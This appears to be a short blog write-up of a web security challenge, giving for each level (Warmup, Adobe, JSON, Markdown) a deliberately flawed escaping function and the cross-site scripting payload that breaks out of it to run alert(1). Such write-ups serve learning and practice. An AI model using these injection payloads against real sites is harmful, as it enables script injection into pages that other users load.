반응형
Warmup
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}
");alert(1);("
Adobe
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
\");alert(1);//
JSON
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
</script><script>alert(1);//
Markdown
[[s|http://onerror=alert(1)//]]
<img alt="<a href=" http:// onerror=alert(1)//" src="s.gif">
반응형
'write-up(web) > misc' 카테고리의 다른 글
[suninatas] WEB 23 (0) | 2023.10.27 |
---|---|
[suninatas] WEB 22 (0) | 2023.10.27 |
[suninatas] WEB 8 (1) | 2023.10.26 |
[suninatas] WEB 7 (0) | 2023.10.26 |
[suninatas] WEB 6 (0) | 2023.10.26 |